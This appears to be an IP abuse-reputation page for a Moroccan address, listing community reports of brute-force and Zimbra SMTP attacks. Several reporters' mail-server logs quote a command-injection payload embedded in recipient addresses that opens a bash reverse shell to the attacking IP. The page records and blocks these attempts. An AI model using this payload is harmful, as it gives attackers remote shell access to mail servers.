JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

105.158.209.47

Recent Activity

Abuse Confidence Score

39% Elevated

8 reports

8 reporters · latest 5 days ago

ISP: ADSL_Maroc_telecom
Usage Type: Fixed Line ISP
ASN: AS36903
Domain Name: menara.ma
Country: 🇲🇦 Morocco
City: Rabat, Rabat-Sale-Kenitra

ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report Whois

Example preview

Account required for the enhanced features Log in Sign up

Abuse Reports

Export reports CSV

Total reports

8 from 8 distinct reporters

First reported

November 8th 2026

Most recent report

5 days ago

Last 60 days

Top reporter locations 🇭🇺 Hungary 2 🇪🇨 Ecuador 1 🇫🇷 France 1

Most common categories Brute-Force 5 Web App Attack 3 Hacking 3 Email Spam 2 Bad Web Bot 1

Recent reports We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇱🇻 bonux-s	2026-11-09 07:00:00 UTC · (5 days ago)	Zimbra SMTP command injection attempt..	Hacking
🇭🇺 whitehoodie	2026-11-08 16:18:00 UTC · (6 days ago)	Brute-Forceing admin login panel.	Brute-Force
Anonymous	2026-11-08 14:50:08 UTC · (6 days ago)	Fail2Ban jail zimbra-cmdinject detected and blocked malicious activity against our mail server.	Hacking Web App Attack
🇮🇹 milauria	2026-11-08 14:39:47 UTC · (6 days ago)	Nov 8 15:39:30 mail postfix/smtpd[3235010]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running ... show more Nov 8 15:39:30 mail postfix/smtpd[3235010]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.assistudiolauria.it> proto=ESMTP helo=<poc.invalid> ... show less	Brute-Force
🇫🇷 mepopa	2026-11-08 14:31:59 UTC · (6 days ago)	abusive activity detected	Brute-Force Email Spam
Anonymous	2026-11-08 14:29:53 UTC · (6 days ago)	Zimbra SMTP command injection attempt	Hacking Web App Attack
🇲🇩 MoldPresa	2026-11-08 14:29:26 UTC · (6 days ago)	Fail2Ban [zimbra-smtp]: Nov 8 16:29:20 01eml01p postfix/smtpd[3331888]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) cha ... show more Fail2Ban [zimbra-smtp]: Nov 8 16:29:20 01eml01p postfix/smtpd[3331888]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-01eml01p.moldpresa.md> proto=ESMTP helo=<poc.invalid> Nov 8 16:29:20 01eml01p postfix/smtpd[3331888]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 550 5.1.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Recipient address rejected: 01eml01p.moldpresa.md; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to run show less	Brute-Force Bad Web Bot Web App Attack
🇪🇨 ocabrera23	2026-11-08 14:28:34 UTC · (6 days ago)	2026-11-08T14:28:33.516974+00:00 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from s ... show more 2026-11-08T14:28:33.516974+00:00 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> proto=ESMTP helo=<poc.invalid> Nov 8 14:28:33 mail postfix/smtpd[4118049]: NOQUEUE: reject: RCPT from unknown[105.158.209.47]: 554 5.7.1 <x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<> to=<"x: Service status change: localhost $(bash -c 'bash -i >& /dev/tcp/105.158.209.47/443 0>&1' >/dev/null 2>&1 &) changed from stopped to running"@220-mail.serdidyv.com> ... show less	Brute-Force Email Spam

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown

Recently Reported IPs:

🇷🇴 193.32.162.15

🇰🇷 152.32.138.230

🇨🇳 121.15.7.100

🇫🇷 13.140.202.243

🇨🇳 117.176.229.40

🇨🇿 193.165.0.186

🇨🇳 183.209.208.97

🇦🇷 179.36.233.81

🇩🇪 167.94.146.52

🇩🇪 151.243.11.47

🇬🇧 138.68.149.56

🇨🇳 124.174.19.195

🇳🇱 109.160.32.155

🇺🇸 45.61.187.153

🇺🇸 20.124.84.235

🇺🇸 20.106.103.160

🇺🇦 193.106.64.128

🇬🇧 185.216.145.186

🇮🇩 180.243.7.95

🇯🇵 121.103.85.196